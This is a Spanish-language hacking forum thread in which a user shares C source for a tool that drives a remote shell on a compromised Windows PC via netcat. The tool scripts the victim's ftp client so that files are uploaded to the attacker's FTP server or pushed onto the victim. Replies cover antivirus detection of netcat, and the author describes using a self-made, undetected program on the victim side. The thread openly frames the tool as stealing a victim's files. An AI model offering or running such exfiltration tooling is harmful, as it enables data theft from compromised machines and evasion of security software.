Interfaz Shell remota

Iniciado por demersseman, 18 Octubre 2010, 13:55 PM

0 Miembros y 1 Visitante están viendo este tema.

demersseman

Hola a todos!
soy nuevo aqui, aunque os llevo leyendo muucho tiempo, para estrenarme os pongo un programilla de cosecha propia xD

El problema se me planteo cuando conseguí mis primeras shell de pcs bajo windows, dices vale, ya tengo la shell, pero ahora como me bajo ese fichero??
Las soluciones son varias, pero si te decantas por usar el ftp de la maquina remota, puede ser muy laborioso. Así que la misión de este programa en C es automatizar el proceso.
El programa  lee de la entrada estandar, y manda a la shell remota por un pipe, por ejemplo, si usamos netcat:

interfaz | nc -l -p puerto -vv

el progamilla lee de la entrada estanar y lo envia a nc tal cual, escepto los comando reservados, que son:
get fichero
put fichero
mget ficheros
mput ficheros
(mget y mput se pueden usar por ejemplo así: mget *.jpg)

ya os podeis imaginar que hacen esos comandos xD
No lo he probado en guidous pero en Linux va de lujo jeje

el código es criticable jaja, pero me salió asi:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

main(){
    char buffer[100], rutaa[50]="c:\\system.txt", fichero[50];
    int i, fd[2];
    char user[]="usuario", pass[]="contraseña", ip[]="ftp donde vamos a subir los ficheros";
   
    pipe(fd);

    for(;;){
        if(i=fork()==0){
            close(fd[0]);
            bzero(buffer, sizeof(buffer));
            bzero(fichero, sizeof(fichero));   
            fgets(buffer,101, stdin);
            if(buffer[0]=='g' && buffer[1]=='e' && buffer[2]=='t' && buffer[3]==' '){
                memcpy(fichero, strchr(buffer, ' ')+1, -(strchr(buffer, ' ')+1 -strchr(buffer, '\n')));
                printf("echo o >%s\necho %s >>%s\necho %s>>%s\necho %s>>%s\necho put %s>>%s\necho quit>>%s\nftp -s:%s\ndel %s\n",rutaa, ip, rutaa,  user, rutaa, pass, rutaa, fichero, rutaa,rutaa, rutaa,rutaa);
                fflush(NULL);
            }else if(buffer[0]=='m' && buffer[1]=='g' && buffer[2]=='e' && buffer[3]=='t' && buffer[4]==' '){
                memcpy(fichero, strchr(buffer, ' ')+1, -(strchr(buffer, ' ')+1 -strchr(buffer, '\n')));
                printf("echo o >%s\necho %s >>%s\necho %s>>%s\necho %s>>%s\necho prompt off>>%s\necho mput %s>>%s\necho quit>>%s\nftp -s:%s\ndel %s\n",rutaa, ip, rutaa,  user, rutaa, pass, rutaa, rutaa, fichero, rutaa,rutaa, rutaa,rutaa);
                fflush(NULL);
            }else if(buffer[0]=='p' && buffer[1]=='u' && buffer[2]=='t' && buffer[3]==' '){
                memcpy(fichero, strchr(buffer, ' ')+1, -(strchr(buffer, ' ')+1 -strchr(buffer, '\n')));
                printf("echo o >%s\necho %s >>%s\necho %s>>%s\necho %s>>%s\necho get %s>>%s\necho quit>>%s\nftp -s:%s\ndel %s\n",rutaa, ip, rutaa,  user, rutaa, pass, rutaa, fichero, rutaa,rutaa, rutaa,rutaa);
                fflush(NULL);
            }else if(buffer[0]=='m' && buffer[1]=='p' && buffer[2]=='u' && buffer[3]=='t' && buffer[4]==' '){
                memcpy(fichero, strchr(buffer, ' ')+1, -(strchr(buffer, ' ')+1 -strchr(buffer, '\n')));
                printf("echo o >%s\necho %s >>%s\necho %s>>%s\necho %s>>%s\necho prompt off>>%s\necho mget %s>>%s\necho quit>>%s\nftp -s:%s\ndel %s\n",rutaa, ip, rutaa,  user, rutaa, pass, rutaa, rutaa, fichero, rutaa,rutaa, rutaa,rutaa);
                fflush(NULL);
            }else{
                printf("%s",buffer);
                write(fd[1], "", 1);
                close(fd[1]);
                exit(0);
            }
        }else{
        read(fd[0], NULL, 1);
        wait(NULL);
        }
    }
}



Espero que a alguien le sirva

Saludos




Debci

Muchas gracias :)
Una vez mas se ve como cada uno se crea sus mini-tools para ir saliendo del paso (para los que decian que no era necesario saber programar en nada para hacer estas cosas)

Saludos

max20

el netcat es detectado por la mayoria de los AVs... como troyano.

Exagerados :(

Shell Root

Of course, NetCat is a tool for transmitting data across network connections and may allow unauthorized access.
Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.

demersseman

No sé si nc es detectado por los antivirus, porque nunca he probado nc en un sistema windows.
Lo que yo aqui propongo es una interfaz para usar el ftp de un pc remoto, es decir, este programa introduce comandos en la shell de otro pc (que debe tener el cliente ftp de windows).
Yo en ningun momento he dicho que tengas que usar nc para obtener la shell.
En el ejemplo que he puesto, uso netcat como cliente (en mi pc), pero en el lado de la victima, no uso netcat uso otro programa que no es detectado por ningun antivirus porque también es hecho y compilado  por mi.
Incluso si no quieres empezar de 0, puedes compilar tu propia version de nc. El código fuente es abierto.

Saludos  ;)

WHK

ya lo he probado incluso haciendo cat archivo |nc.. y despues nc -v > archivo y hay problemas con la codificación de carácteres de la consola, el traspaso de ficheros sirve para archivos ascii pero no binarios :(, podrías hacer una versión mas directa con sockets, similar a wget pero con servidor incluido

demersseman

no entiendo bien cual es tu problema.
pienso que no has ententendido cual es el propósito del programa.
quizas no me haya explicado bien.
Una forma de ver lo que hace es ejecutar el programa tal cual sin tuberias (pipes)
y usar los comando reservados, por ejemplo:
     get fichero.jpg

Los que el programa imprime por la salida estandar, son los comando necesarios para que el ftp DE LA VICTIMA, envia fichero.jpg a MI servidor ftp (cuya direccion y usuario introducimos en el código, al principio)

Para poder introducir esos comandos en el cliente ftp de la victima necesitamos su shell, y se lo pasamos mediante un pipe "|"
Espero que te haya servido de algo
saludos

R007h